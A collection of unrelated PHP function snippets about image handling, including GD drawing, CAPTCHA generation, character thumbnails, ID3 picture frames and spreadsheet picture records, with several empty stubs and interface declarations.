"function doc_pic ($a,$showdetails=false,$force=false) {\r\n\tGLOBAL $HTTP_SERVER_VARS;\r\n\t\t$SRC=$a[SRC];\r\n\t\t$path=$a[path];\r\n\t\t$HREF=$a[HREF];\r\n\t\t$BORDER=$a[BORDER];\r\n\t\t$ALIGN=$a[ALIGN];\r\n\t\t$HVSPACE=$a[HVSPACE];\r\n\t\t$ALT=$a[ALT];\r\n\t\t$WIDTH=$a[WIDTH];\r\n\t\t$HEIGHT=$a[HEIGHT];\r\n\r\n\t\tif (''==$SRC) {\r\n\t\t\tif ($showdetails) {\r\n\t\t\t\t$this->_debug2('doc_pic');\r\n\t\t\t\treturn(\"Kein Bild\");\r\n\t\t\t} else {\r\n\t\t\t\t$this->_debug2('doc_pic');\r\n\t\t\t\treturn('');\r\n\t\t\t}\r\n\t\t}\r\n\t if (''==$path) {\r\n\t \t$path=$SRC;\r\n\t }\r\n\t if (ereg(\"^/\",$SRC)) {\r\n\t \t## if unset, assume DOCUMENT_ROOT to be the path\r\n\t \tif (!$this->layoutpath) {\r\n\t \t\t$this->layoutpath = $HTTP_SERVER_VARS[\"DOCUMENT_ROOT\"];\r\n\t \t}\r\n\t\t\t$SRC= $this->layouturl . $SRC;\r\n\t\t\t$path=$this->layoutpath . $path;\r\n\t\t}\r\n\t if (file_exists($path)) {\r\n\t\t\t$WH=GetImageSize($path);\r\n\t\t} else {\r\n\t\t\t$this->defval($force, $this->picture_def['force']);\r\n\t\t\tif (!$force) {\r\n\t\t\t\t$this->_debug2('doc_pic not found');\r\n\t\t\t\treturn(\"Bild: '$path' nicht vorhanden!\");\r\n\t\t\t}\r\n\t\t}\r\n\t\tif ($WIDTH>0) {\r\n\t\t\t$WH[0]=$WIDTH;\r\n\t\t}\r\n\t\tif ($HEIGHT>0) {\r\n\t\t\t$WH[1]=$HEIGHT;\r\n\t\t}\r\n\t\t$this->defval($BORDER, $this->picture_def['BORDER']);\r\n\t\t$this->defval($ALIGN, $this->picture_def['ALIGN']);\r\n\t\t$this->defval($HVSPACE, $this->picture_def['HVSPACE']);\r\n\t\t$this->defval($ALT, $this->picture_def['ALT']);\r\n\r\n\t\t$r.=($BORDER!='') ? sprintf($this->picture['BORDER'],$BORDER) : '';\r\n\t\t$r.=o_iftrue($ALIGN, $this->picture['ALIGN']);\r\n\t\tif ($HVSPACE) {\r\n\t\t\t$r.=sprintf($this->picture['HVSPACE'],$HVSPACE,$HVSPACE);\r\n\t\t}\r\n\t\t$r.=sprintf($this->picture['ALT'],HTMLSpecialChars($ALT));\r\n\t\t$r.=sprintf($this->picture['WIDTH'],$WH[0]);\r\n\t\t$r.=sprintf($this->picture['HEIGHT'],$WH[1]);\r\n\r\n\t\t$out=sprintf($this->picture['pictag'],$SRC,$r);\r\n\r\n\t\tif ($HREF) {\r\n\t\t\t$out=$this->doc_anker('NULL',$HREF,$out);\r\n\t\t}\r\n\r\n\t\tif ($showdetails) {\r\n\t\t\t$name=ereg_Replace(\"^.*/\",\"\",$SRC);\r\n\t\t\t$out=\"<SMALL>'<B>$name</B>' \".\r\n\t\t\t \"$WH[0]x$WH[1] Pixel</SMALL>\\n$out\";\r\n\t\t}\r\n\r\n\t\t$this->_debug('doc_pic',$out);\r\n\t\treturn($out);\r\n\t}",
"public function drawInFile()\n {\n }",
"function draw()\n {\n $img = imagecreatetruecolor(600, 600);\n\n // fill img with color (background)\n imagefill($img, 0, 0, imagecolorallocate($img, 220, 220, 220));\n\n //check color of border and get it in rgb format\n $rgb = HelperUtilities::getRgbColor($this->getBorder()->getColor());\n\n $red = $rgb['r'];\n $green = $rgb['g'];\n $blue = $rgb['b'];\n\n $color = imagecolorallocate($img, $red, $green, $blue);\n\n imagerectangle($img, 10, 10, $this->getSideLength(), $this->getSideLength(), $color);\n\n //output image\n $image_data_base64 = HelperUtilities::convertToBase64($img, get_class($this));\n HelperUtilities::writeBinaryDataInFile($image_data_base64, get_class($this));\n\n // Free up memory\n imagedestroy($img);\n\n header('Content-type: application/json');\n $response_array['status'] = 'success';\n $response_array['type'] = get_class($this);\n return $response_array;\n }",
"function draw_image($word, $img_width = 200, $img_height = 80)\n {\n $noise_img = @imagecreatefromjpeg($this->bg_image);\n $noise_width = imagesx($noise_img);\n $noise_height = imagesy($noise_img);\n\n /* resize the background image to fit the size of image output */\n $image = imagecreatetruecolor($img_width, $img_height);\n imagecopyresampled(\n $image,\n $noise_img,\n 0, 0, 0, 0,\n $img_width,\n $img_height,\n $noise_width,\n $noise_height\n );\n /* put text image into background image */\n imagecopymerge(\n $image,\n $this->draw_text($word, $img_width, $img_height),\n 0, 0, 0, 0,\n $img_width,\n $img_height,\n 50\n );\n return $image;\n }",
"public function formatGraphics() {\n }",
"public function build(): string\n {\n $this->verifyBom($this->encoding, $this->description);\n $this->_handleDefaultValues();\n\n $frame = $this->encoding->getCode();\n $frame .= $this->mimeType;\n $frame .= \"\\x00\";\n $frame .= $this->pictureType;\n $frame .= $this->description;\n $frame .= $this->encoding->getDelimiter();\n $frame .= $this->pictureData;\n\n return $frame;\n }",
"function generateChoicePicture($idPicture, $idHidden, $picture = \"\", $extra = \"\") {\n if ($extra != \"\")\n $danhchoid = $extra;\n else\n $danhchoid = $idHidden;\n $str = \"\";\n $str .= \"<table border='0' cellpadding='0' cellspacing='0'>\n\n\n\n\n\n\n\n\t\t\t\t\t\t <tr>\n\n\n\n\n\n\n\n\t\t\t\t\t\t\t<td width='20%'>\";\n $mangExt = pathinfo($picture);\n $ext = strtolower($mangExt['extension']);\n $str .= \"<div id='pro_photo_swf'>\";\n if ($ext == \"swf\")\n $str .= \"<img style='border:1px solid #333' name='\" . $idPicture . \"' id='\" . $idPicture . \"' src='image.php/image.jpg?image=\" . defaultPicture . \"&width=50&cropratio=1:1' border='0'>\";\n else\n $str .= \"<img style='border:1px solid #333' name='\" . $idPicture . \"' id='\" . $idPicture . \"' src='image.php/image.jpg?image=\" . $picture . \"&width=50&cropratio=1:1' border='0' />\";\n $str .= \"</div>\";\n $str .= \"\n\n\n\n\n\n\n\n\t\t\t\t</td>\n\n\n\n\n\n\n\n\t\t\t\t<td valign='bottom' style='padding-left:5px;'>\n\n\n\n\n\n\n\n\t\t\t\t\t<input name='btn1' type='button' onClick=\\\"modelessDialogShow('\" . Editor . \"ffilter=image&object1=$danhchoid&object2=$idPicture&type=1','auto','auto');\\\" id='btn1' value='Browse...' />\n\n\n\n\n\n\n\n\t\t\t\t</td>\n\n\n\n\n\n\n\n\t\t\t\t</tr>\n\n\n\n\n\n\n\n\t\t\t\t<tr>\n\n\n\n\n\n\n\n\t\t\t\t <td colspan='2' style='padding-top:5px;'>\n\n\n\n\n\n\n\n\t\t\t\t <input style='margin-left:0px' id='chk_path$danhchoid' name='chk_path$idHidden' type='checkbox' onClick=\\\"showPath(this.checked,'\" . $danhchoid . \"');\\\" value='1' />Current path<br>\n\n\n\n\n\n\n\n\t\t\t\t <input onblur=\\\"closePath(this,'chk_path\" . $danhchoid . \"');\\\" name='\" . $idHidden . \"' id='\" . $danhchoid . \"' style='width:200px;display:none' type='text' \" . $this->focusText() . \" class='nd2' value='\" . $picture . \"' />\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\t\t\t\t </td>\n\n\n\n\n\n\n\n\t\t\t\t</tr>\n\n\n\n\n\n\n\n\t\t\t\t</table>\";\n return $str;\n }",
"function mk_PolyThumb($cID, $str=''){\n\t#get character info for tooltip from ma_Characters\n\t$sqlTT = \"SELECT Codename, Overview, Waiver, Team FROM ma_Characters WHERE CharID = $cID;\"; #ToolTip\n\n\t$codeName = $overview = $waiver = $team = '';#initialize\n\n\n\t$resultTT = mysqli_query(IDB::conn(),$sqlTT) or die(trigger_error(mysqli_error(IDB::conn()), E_USER_ERROR));\n\n\t$dbTT = pdo(); # pdo() creates and returns a PDO object\n\n\t#$result stores data object in memory\n\ttry {$resultTT = $dbTT->query($sqlTT);} catch(PDOException $ex) {trigger_error($ex->getMessage(), E_USER_ERROR);}\n\n\tif($resultTT->rowCount() > 0)\n\t{#there are records - present data\n\t\t#set values needed for tool tip\n\t\twhile($rowTT = $resultTT->fetch(PDO::FETCH_ASSOC))\n\t\t{# pull data from associative array\n\t\t\t$overview = $rowTT['Overview'];\n\t\t\t$waiver = $rowTT['Waiver'];\n\t\t\t$team = $rowTT['Team'];\n\t\t\t$codeName = $rowTT['Codename'];\n\t\t}\n\t}\n\tunset($resultTT, $dbTT); #free resources\n\n\t#verify Image or use FPO\n\t#create Image Path\n\t$filename = '../uploads/'. $cID . '-1t.jpg';\n\t#Verify image exists, show\n\tif (file_exists($filename)) {\n\t\t$filename = $filename;\n\t}else{\n\t\t#no image, use fpo static\n\t\t$filename = '../_img/_static/static---00' . rand(0, 8). '.gif';\n\t}\n\n\n\t#construct the polyThumb\n\t$str .= '\n\t\t<div><a href=\"' . VIRTUAL_PATH . 'characters/profile.php?id=' . $cID . '&act=show\"\n\t\t\ttarget=\"_blank\" data-toggle=\"tooltip\" data-placement=\"right\" title=\"\" data-container=\"body\" class=\"tooltiplink\" data-html=\"true\"\n\t\t\tdata-original-title=\"' . $codeName . ' >> ' . $overview .'\"\n\t\t\t>\n\n\t\t\t\t<!--- for polygons -->\n\t\t\t\t<svg class=\"clip-svg\">\n\t\t\t\t\t<defs>\n\t\t\t\t\t\t<clipPath id=\"polygon-clip-hexagon\" clipPathUnits=\"objectBoundingBox\">\n\t\t\t\t\t\t\t<polygon points=\"0.5 0, 1 0.25, 1 0.75, 0.5 1, 0 0.75, 0 0.25\"></polygon>\n\t\t\t\t\t\t</clipPath>\n\t\t\t\t\t</defs>\n\t\t\t\t</svg>\n\n\t\t\t\t<div class=\"polygon-each-img-wrap\">\n\t\t\t\t\t<img src=\"' . $filename . '\" alt=\"demo-clip-heptagon\" class=\"polygon-clip-hexagon\">\n\t\t\t\t</div>\n\t\t</a></div>\n\n\t\t<div>\n\t\t\t<p class=\"text-center\"><small><strong>' . $codeName . '</strong></small></p>\n\t\t</div>';\n\n\treturn $str;\n\n}",
"public function picture() : Picture;",
"function stretchDraw($x1, $y1, $x2, $y2, $image)\r\n {\r\n echo \"$this->_canvas.drawImage(\\\"$image\\\", $x1, $y1, $x2-$x1+1, $y2-$y1+1);\\n\";\r\n }",
"function frenderN($img,$font,$x,$y,$l,$text){\n $text.='';\n if(strlen($text)<$l) $x+=($l-strlen($text))*8;\n for($i=0;$i<strlen($text);$i++)\n ImageCopy($img,$font,$i*5+$x,$y,(ord($text[$i])%16)*8,floor(ord($text[$i])/16)*8,6,8);\n}",
"function getImageStringFromFile($xpmfile) {\r\n $file = fopen($xpmfile,\"r\");\r\n $content = fread($file, filesize($xpmfile));\r\n // remove all \" and CR\r\n $content = str_replace(array(\"\\\"\",\"\\n\", \"\\r\"), \"\", $content);\r\n // find position of { and of } and substr between these 2\r\n $start = strpos($content, \"{\")+1; // to remove the {\r\n $stop = strpos($content, \"}\");\r\n $imgdescr = substr($content, $start, $stop - $start);\r\n // explode\r\n $xpm = explode(\",\", $imgdescr);\r\n \r\n //print_r($xpm);\r\n \r\n return getImageString($xpm);\r\n}",
"public function __toString()\n {\n return $this->width . 'x' . $this->height;\n }",
"function GDImage($im, $x=null, $y=null, $w=0, $h=0, $link=''){\n\t\t\tob_start();\n\t\t\timagepng($im);\n\t\t\t$data = ob_get_clean();\n\t\t\t$this->MemImage($data, $x, $y, $w, $h, $link);\n\t\t}",
"public function picture(){\n }",
"protected function renderImage(){\n \n return sprintf(\n '<img src=\"%s\" title=\"%s\" alt=\"%s\">',\n $this->getField('url'),\n $this->getField('title',''),\n $this->getField('alt','')\n );\n \n }",
"public function getOpengraphImage();",
"public function render()\n {\n Response::setContentType('png');\n\n $fontSize = rand(0, 30);\n $string = StringUtility::getRandomString($this->length, true);\n foreach (str_split($string) as $char) {\n if (!$this->fixedSpacing) {\n $fontSize = rand(0, 30);\n }\n imagettftext($this->image, 30, $fontSize, $this->left, $this->top, $this->getFontColor(), $this->getFont(), $char);\n $this->left += $this->getSpacing();\n }\n\n Processor::setInternalSessionValue($this->name, $string);\n imagepng($this->image);\n imagedestroy($this->image);\n }",
"function dumpGraphic()\r\n {\r\n // Graphic component that dumps binary data\r\n header(\"Content-type: $this->_binarytype\");\r\n\r\n // Tries to prevent the browser from caching the image\r\n header(\"Pragma: no-cache\");\r\n header(\"Cache-Control: no-cache, must-revalidate\");// HTTP/1.1\r\n header(\"Expires: Mon, 26 Jul 1997 05:00:00 GMT\");// Date in the past\r\n\r\n if($this->hasValidDataField())\r\n {\r\n echo $this->readDataFieldValue();\r\n }\r\n\r\n exit;\r\n }",
"public function draw() {}",
"public function draw() {}",
"public function getWebPicture();",
"public function generatePictureBar() \n {\n $values = $this->data;\n\n // Get the total number of columns we are going to plot\n $columns = count($values);\n\n // Get the height and width of the diagram itself\n $width = round($this->w*0.7);\n $height = round($this->h*0.7);\n\n $padding = 0;\n $padding_h = round(($this->w - $width) / 2);\n $padding_v = round(($this->h - $height) / 2); \n\n // Get the width of 1 column\n $column_width = round ($width / $columns) ;\n\n\n // Fill in the background of the image\n imagefilledrectangle($this->im,0,0,$this->w,$this->h,$this->white);\n\n $maxv = 0;\n\n // Calculate the maximum value we are going to plot\n\n foreach($values as $key => $value) \n {\n $maxv = max($value,$maxv); \n }\n \n $this->drawAxesLabels($width, $height, $column_width, $padding_h,$padding_v, $maxv);\n\n //diagram itself\n $i = 0;\n foreach ($values as $key => $value)\n {\n $column_height = ($height / 100) * (( $value / $maxv) *100);\n\n $x1 = $i*$column_width + $padding_h;\n $y1 = $height-$column_height + $padding_v;\n $x2 = (($i+1)*$column_width)-$padding + $padding_h;\n $y2 = $height + $padding_v;\n\n imagefilledrectangle($this->im,$x1,$y1,$x2,$y2,$this->color_helper->img_colorallocate($this->im, $this->color_helper->nextColor()));\n\n $i++;\n }\n\n return $this->im;\n }",
"public function test0() {\r\n// \techo (4418388-5431595); echo \"<br>\";\r\n// \techo (564939-300344) * (4418388-5431595); echo \"<br>\";\r\n// \techo (3255295-5431595); echo \"<br>\";\r\n// \techo (564939-300344) * (4418388-5431595) / (3255295-5431595); echo \"<br>\";\r\n// \techo (564939-300344) * (4418388-5431595) / (3255295-5431595) + 300344;\r\n\r\n// create a blank image\r\n$image = imagecreate(5000, 5300);\r\n\r\n// fill the background color\r\n$bg = imagecolorallocate($image, 255, 255, 255);\r\n\r\n// choose a color for the polygon\r\n$col_poly = imagecolorallocate($image, 0, 0, 0);\r\n\r\n// draw the polygon\r\nimagepolygon($image,\r\n array (\r\n 50, 1491,\r\n 2729, 5276,\r\n 4113, 3335,\r\n 4310, 89\r\n ),\r\n 4,\r\n $col_poly);\r\n\r\nimagepolygon($image,\r\n array (\r\n 2958, 3854,\r\n 2960, 3854,\r\n 2960, 3856,\r\n 2958, 3856\r\n ),\r\n 4,\r\n $col_poly);\r\n//$text_color = imagecolorallocate($image, 233, 14, 91);\r\n//imagestring($image, 1, 1380, 439, \"1380, 439\", $text_color);\r\n//imagestring($image, 1, 426, 918, \"426, 918\", $text_color);\r\n//imagestring($image, 1, 1028, 2258, \"1028, 2258\", $text_color);\r\n//imagestring($image, 1, 4028, 1570, \"4028, 1570\", $text_color);\r\n//imagestring($image, 1, 796, 1414, \"796, 1414\", $text_color);\r\nheader(\"Content-type: image/png\");\r\nimagepng($image);\r\n\r\n\r\n }",
"private function generateThumbnailGD(){\n\t\t\n\t}",
"function mk_cThumb($cID, $str=''){\n\t$sqlTT = \"SELECT Codename, Overview, Waiver, Team FROM ma_Characters WHERE CharID = $cID;\"; #ToolTip\n\t$cName = $cOverview = $cWaiver = $cTeam = '';#initialize\n\t$resultTT = mysqli_query(IDB::conn(),$sqlTT) or die(trigger_error(mysqli_error(IDB::conn()), E_USER_ERROR));\n\t$dbTT = pdo(); # pdo() creates and returns a PDO object\n\n\t#$result stores data object in memory\n\ttry {$resultTT = $dbTT->query($sqlTT);} catch(PDOException $ex) {trigger_error($ex->getMessage(), E_USER_ERROR);}\n\n\tif($resultTT->rowCount() > 0)\n\t{#there are records - present data\n\t\t#set values needed for tool tip\n\t\twhile($rowTT = $resultTT->fetch(PDO::FETCH_ASSOC))\n\t\t{# pull data from associative array\n\t\t\t$cOverview = $rowTT['Overview'];\n\t\t\t$cWaiver = $rowTT['Waiver'];\n\t\t\t$cTeam = $rowTT['Team'];\n\t\t\t$cName = $rowTT['Codename'];\n\t\t}\n\t}\n\tunset($resultTT, $dbTT); #free resources\n\n\t#verify Image or use FPO\n\t#create Image Path\n\t$filename = './../uploads/_assigned/' . $cID . '-1t.jpg';\n\t#Verify image exists, show\n\tif (file_exists($filename)) {\n\t\t$filename = VIRTUAL_PATH . 'uploads/_assigned/' . $cID . '-1t.jpg';\n\t}else{\n\t\t#no image, use fpo static\n\t\t$filename = VIRTUAL_PATH . '_img/_static/static---00' . rand(0, 8). '.gif';\n\t}\n\n/*\n\n\nhttp://localhost/WrDKv4/_img/_static/static---005.gif\n\n\n\n*/\n\n\n\n\n\n\t#construct the polyThumb\n\t$str .= '<div class=\"text=center\">\n\t\t\t<a href=\"' . VIRTUAL_PATH . 'characters/profile.php?id=' . $cID . '&act=show\"\n\t\t\t\ttarget=\"_blank\" data-toggle=\"tooltip\" data-placement=\"right\" title=\"\" data-container=\"body\" class=\"tooltiplink\" data-html=\"true\"\n\t\t\t\tdata-original-title=\"' . $cName . ' >> ' . $cOverview . '\"\n\t\t\t\t>\n\t\t\t\t<img src=\"' . $filename . '\" alt=\"' . $cName . '\" style=\"width:50px\">\n\t\t\t</a>\n\t\t</div>';\n\n\treturn $str;\n\n}",
"function image_hwstring($width, $height)\n {\n }",
"function UserPicture(){\r\n echo \"<img class='user_image' id='user_image' src='../RSAS.net/profile_pictures/$this->picture' onclick='my_account()' />\";\r\n }",
"function msg($msg){\n\t$container = imagecreate(250, 170); //SET SIZE OF IMAGE\n\t$black = imagecolorallocate($container, 0, 0, 0); //set RGB for black\n\t$white = imagecolorallocate($container, 255, 255, 255); //set RGB for white\n\t$font = '/Library/Fonts/Arial.ttf'; //grab the font from my harddrive\n\timagefilledrectangle($container, 0, 0, 250, 170, $black); // crate rectangle graphic\n\n\t$px = (imagesx($container) / (strlen($msg)/1.15)); // x axis position\n\t$py = (imagesy($container) / 3.5); // ;y axis position\n\n\t// Write text to the image using fonts using FreeType 2\n\timagefttext($container, 28, -27, $px, $py, $white, $font, $msg);\n\theader(\"Content-type: image/png\"); // Change header type\n\timagepng($container, null); // Output a png image to either the browser or a file\n\timagedestroy($container); // Frees any memory associated with the image\n}",
"function drawPNG($w, $h, $thumb_w = 0, $thumb_h = 0)\n {\n if ($w < 1) {\n $w = 1;\n }\n if ($h < 1) {\n $h = 1;\n }\n\n $im = $this->drawIm($w, $h);\n $im = $this->convertToThumbnail($im, $thumb_w, $thumb_h);\n\n //- Output PNG data\n\n header('Content-type: image/png');\n imagepng($im);\n\n imagedestroy($im);\n }",
"function printErrorMsg( $error_string ){\n if($DEBUG){\n print \"$error_string\";\n }\n $xsize=500;\n $ysize=300;\n\n if(!$DEBUG){\n $error_image = ImageCreate($xsize, $ysize);\n $white = imagecolorallocate($error_image, 255, 255, 255);\n $black = imagecolorallocate($error_image, 0,0,0);\n ImageFill($error_image, 0, 0, $white);\n imagerectangle($error_image,0,0,$xsize-1,$ysize-1,$black);\n imagestring($error_image, 14, 5, 5, $error_string, $black);\n header(\"Content-type: image/png\");\n imagepng($error_image);\n imagedestroy($error_image);\n }\n exit(0);\n}",
"private function create_img(\n $char,\n $font_size = L_FONT_SIZE,\n $img_y = L_IMG_Y\n )\n {\n $this->set_img_path();\n imagettftext(\n $this->img,\n $font_size,\n L_IMG_ANGLE,\n L_IMG_X,\n $img_y,\n $this->font_color,\n L_FONT_FILE,\n $char\n );\n imagepng($this->img,$this->img_path);\n }",
"public function createImage()\n {\n // set up base image, and colors to be used in the image (black not used for this page, but left for reference later)\n $im = imagecreatetruecolor($this->_options['width'] * self::OVERSAMPLE_FACTOR, $this->_options['height'] * self::OVERSAMPLE_FACTOR);\n \n $brandColor = new Ncstate_Brand_Color();\n \n // Get the background color on brand\n $backgroundColorRgb = $brandColor->getColor($this->_options['backgroundColor'], true);\n if (is_null($backgroundColorRgb)) {\n require_once 'Ncstate/Brand/Exception.php';\n throw new Ncstate_Brand_Exception('Proper branding color not found for backgroundColor');\n }\n $backgroundColor = imagecolorallocate($im, $backgroundColorRgb['red'], $backgroundColorRgb['green'], $backgroundColorRgb['blue']);\n \n \n // get the font color on brand\n $fontColorRgb = $brandColor->getColor($this->_options['fontColor'], true);\n if (is_null($fontColorRgb)) {\n require_once 'Ncstate/Brand/Exception.php';\n throw new Ncstate_Brand_Exception('Propoer branding color not found for fontColor');\n }\n $fontColor = imagecolorallocate($im, $fontColorRgb['red'], $fontColorRgb['green'], $fontColorRgb['blue']);\n \n \n // Set the background to be red (the base color of the header region where this will be placed)\n imagefilledrectangle($im, 0, 0, $this->_options['width'] * self::OVERSAMPLE_FACTOR, $this->_options['height'] * self::OVERSAMPLE_FACTOR, $backgroundColor);\n \n // Path to our font files\n $normalFont = $this->_options['pathToFonts'] . '/' . $this->_options['normalFont'];\n $boldFont = $this->_options['pathToFonts'] . '/' . $this->_options['boldFont'];\n\n // Calculate a line height for multi-line images\n $oneLine = imagettfbbox($this->_options['fontSize'] * self::OVERSAMPLE_FACTOR, 0, $normalFont, 'A');\n $oneLineHeight = $oneLine[1] - $oneLine[7];\n \n $posX = $this->_options['leftTextOffset'] * self::OVERSAMPLE_FACTOR;\n $posY = ($this->_options['height'] * self::OVERSAMPLE_FACTOR) - ($this->_options['baselineTextOffset'] * self::OVERSAMPLE_FACTOR);\n \n $lines = array();\n \n // Parse the string by newline chars\n $parsed = explode(\"\\n\", $this->getText());\n foreach ($parsed as $p) {\n if ($p == '') {\n continue;\n }\n \n // split up bold parts versus non-bold parts\n $parts = preg_split('/(\\*[^*]*\\*)|(\\n)/', $p, -1, PREG_SPLIT_DELIM_CAPTURE); \n\n $lines[] = $parts;\n }\n \n // Reverse the lines so that we write them the correct offset from the baseline\n $lines = array_reverse($lines);\n \n foreach ($lines as $line) { \n foreach ($line as $text) {\n $count = 0;\n $font = $normalFont;\n \n // Only make the font bold if there are two bold markers on the particle of text\n $writable = str_replace('*', '', $text, $count);\n if ($count == 2) {\n $font = $boldFont;\n }\n \n $boundingBox = imagettftext($im, $this->_options['fontSize'] * self::OVERSAMPLE_FACTOR, 0, $posX, $posY, $fontColor, $font, $writable);\n \n $posX = $boundingBox[2];\n }\n \n $posX = $this->_options['leftTextOffset'] * self::OVERSAMPLE_FACTOR;\n $posY -= ($oneLineHeight + ($this->_options['lineSpacing'] * self::OVERSAMPLE_FACTOR)); \n }\n \n // Sample down the image to the original requested size\n $final = imageCreateTrueColor($this->_options['width'], $this->_options['height']);\n\n imageCopyResampled($final, $im, 0, 0, 0, 0, $this->_options['width'], $this->_options['height'], $this->_options['width'] * self::OVERSAMPLE_FACTOR, $this->_options['height'] * self::OVERSAMPLE_FACTOR ); \n \n // Option to make the image transparent\n if ((bool)$this->_options['transparent']) {\n imagecolortransparent($final, $backgroundColor);\n } \n \n return $this->_store($final);\n }",
"function imagecustom($im, $text) {\n}",
"public function image();",
"public function image();",
"function Create($sFilename = '') {\n if (!function_exists('imagecreate') || !function_exists(\"image$this->sFileType\") || ($this->vBackgroundImages != '' && !function_exists('imagecreatetruecolor'))) {\n return false;\n }\n \n // get background image if specified and copy to CAPTCHA\n if (is_array($this->vBackgroundImages) || $this->vBackgroundImages != '') {\n // create new image\n $this->oImage = imagecreatetruecolor($this->iWidth, $this->iHeight);\n \n // create background image\n if (is_array($this->vBackgroundImages)) {\n $iRandImage = array_rand($this->vBackgroundImages);\n $oBackgroundImage = imagecreatefromjpeg($this->vBackgroundImages[$iRandImage]);\n } else {\n $oBackgroundImage = imagecreatefromjpeg($this->vBackgroundImages);\n }\n \n // copy background image\n imagecopy($this->oImage, $oBackgroundImage, 0, 0, 0, 0, $this->iWidth, $this->iHeight);\n \n // free memory used to create background image\n imagedestroy($oBackgroundImage);\n } else {\n // create new image\n $this->oImage = imagecreate($this->iWidth, $this->iHeight);\n }\n \n // allocate white background colour\n imagecolorallocate($this->oImage, 0, 0, 0);\n \n // check for owner text\n if ($this->sOwnerText != '') {\n $this->DrawOwnerText();\n }\n \n // check for background image before drawing lines\n if (!is_array($this->vBackgroundImages) && $this->vBackgroundImages == '') {\n $this->DrawLines();\n }\n \n $this->GenerateCode();\n $this->DrawCharacters();\n \n // write out image to file or browser\n $this->WriteFile($sFilename);\n \n // free memory used in creating image\n imagedestroy($this->oImage);\n \n return true;\n }",
"function displayProfilePic()\n {\n global $db;\n $image = $db->query(\"SELECT userProfilePic FROM users WHERE id= '{$_SESSION['id']}' \") ;\n return $image;\n }",
"function addBorder($picture) {\n\n $width = strlen($picture[0]) + 2; \n $count = count($picture);\n\n for($i = 0; $i < $count; $i++) {\n $picture[$i] = '*' . $picture[$i] . '*';\n }\n\n array_unshift($picture, str_repeat('*', $width));\n $picture[] = str_repeat('*', $width);\n \n return $picture;\n}",
"public function getProfilePicture();",
"public function ImageCreateForOnline($name)\n {\n list($width,$height)=getimagesize(\"images/imagesevice/createImg.png\");\n $authimg = imagecreate($width,$height);\n $bg_color = ImageColorAllocate($authimg,68,68,68);\n\n $bg = ImageCreateFromPng(\"images/imagesevice/createImg.png\");\n imagecopyresized($authimg,$bg,0,0,0,0,$width,$height,$width,$height); \n\n $fontfile =\"images/imagesevice/simhei.ttf\";\n putenv('GDFONTPATH=' . realpath($fontfile));\n\n $font_color = ImageColorAllocate($authimg,0,0,0); \n $box = imagettfbbox(25, 0, $fontfile, $name);\n $fontwidth = $box[4]-$box[0];\n ImageTTFText($authimg, 25, 0, ceil(($width-$fontwidth)/2), 830, $font_color, $fontfile, $name);\n\n $font_color = ImageColorAllocate($authimg,68,68,68);\n $dateTime = date(\"Y年m月d日\");\n $boxtime = imagettfbbox(15, 0, $fontfile, $dateTime);\n $datewidth = $boxtime[4]-$boxtime[0];\n ImageTTFText($authimg, 15, 0, ceil(($width-$datewidth)/2), 1175, $font_color, $fontfile, $dateTime);\n //imagestring($authimg, 5, 430, 430, date(\"Y年m月d日\"), $font_color);\n //imagestring($authimg, 5, 230, 730, $name, $font_color);\n $fs = new Filesystem();\n if(!$fs->exists($this->_filedir . '/Online'))\n $fs->mkdir($this->_filedir . '/Online', 0700);\n $fileName = '/Online/' . time() . rand(100,999) . '.png';\n $hechengImg = $this->_filedir . $fileName;\n ImagePNG($authimg,$hechengImg);\n return $fileName;\n }",
"private function writeObjPicture($colL, $dxL, $rwT, $dyT, $colR, $dxR, $rwB, $dyB): void\n {\n $record = 0x005d; // Record identifier\n $length = 0x003c; // Bytes to follow\n\n $cObj = 0x0001; // Count of objects in file (set to 1)\n $OT = 0x0008; // Object type. 8 = Picture\n $id = 0x0001; // Object ID\n $grbit = 0x0614; // Option flags\n\n $cbMacro = 0x0000; // Length of FMLA structure\n $Reserved1 = 0x0000; // Reserved\n $Reserved2 = 0x0000; // Reserved\n\n $icvBack = 0x09; // Background colour\n $icvFore = 0x09; // Foreground colour\n $fls = 0x00; // Fill pattern\n $fAuto = 0x00; // Automatic fill\n $icv = 0x08; // Line colour\n $lns = 0xff; // Line style\n $lnw = 0x01; // Line weight\n $fAutoB = 0x00; // Automatic border\n $frs = 0x0000; // Frame style\n $cf = 0x0009; // Image format, 9 = bitmap\n $Reserved3 = 0x0000; // Reserved\n $cbPictFmla = 0x0000; // Length of FMLA structure\n $Reserved4 = 0x0000; // Reserved\n $grbit2 = 0x0001; // Option flags\n $Reserved5 = 0x0000; // Reserved\n\n $header = pack('vv', $record, $length);\n $data = pack('V', $cObj);\n $data .= pack('v', $OT);\n $data .= pack('v', $id);\n $data .= pack('v', $grbit);\n $data .= pack('v', $colL);\n $data .= pack('v', $dxL);\n $data .= pack('v', $rwT);\n $data .= pack('v', $dyT);\n $data .= pack('v', $colR);\n $data .= pack('v', $dxR);\n $data .= pack('v', $rwB);\n $data .= pack('v', $dyB);\n $data .= pack('v', $cbMacro);\n $data .= pack('V', $Reserved1);\n $data .= pack('v', $Reserved2);\n $data .= pack('C', $icvBack);\n $data .= pack('C', $icvFore);\n $data .= pack('C', $fls);\n $data .= pack('C', $fAuto);\n $data .= pack('C', $icv);\n $data .= pack('C', $lns);\n $data .= pack('C', $lnw);\n $data .= pack('C', $fAutoB);\n $data .= pack('v', $frs);\n $data .= pack('V', $cf);\n $data .= pack('v', $Reserved3);\n $data .= pack('v', $cbPictFmla);\n $data .= pack('v', $Reserved4);\n $data .= pack('v', $grbit2);\n $data .= pack('V', $Reserved5);\n\n $this->append($header . $data);\n }",
"function savePicture($filepath,$data)\n {\n $file = fopen($filepath,\"w+\");\n fwrite($file,$data);\n fclose($file);\n }",
"function msg($msg){\n $container = imagecreate(250,170);\n $black = imagecolorallocate($container, 0, 0,0);\n $white = imagecolorallocate($container, 255,255,255);\n $font = '/Library/Fonts/Arial.ttf';\n imagefilledrectangle($container, 0, 0, 250, 170, $black);\n\n $px = (imagesx($container) / (strlen($msg)/1.15));\n $py = (imagesy($container) / 3.5);\n\n imagefttext($container, 28, -27, $px, $py, $white, $font, $msg);\n header(\"Content-type: image/png\");\n imagepng($container, null);\n imagedestroy($container);\n}",
"private function get_title_img()\n {\n $this->char_count = count($this->strings);\n $this->init_img();\n $font_size = L_FONT_SIZE / $this->char_count;\n $img_y = (L_IMG_HEIGHT + $font_size) / 2;\n $this->create_img($this->string,$font_size,$img_y);\n }",
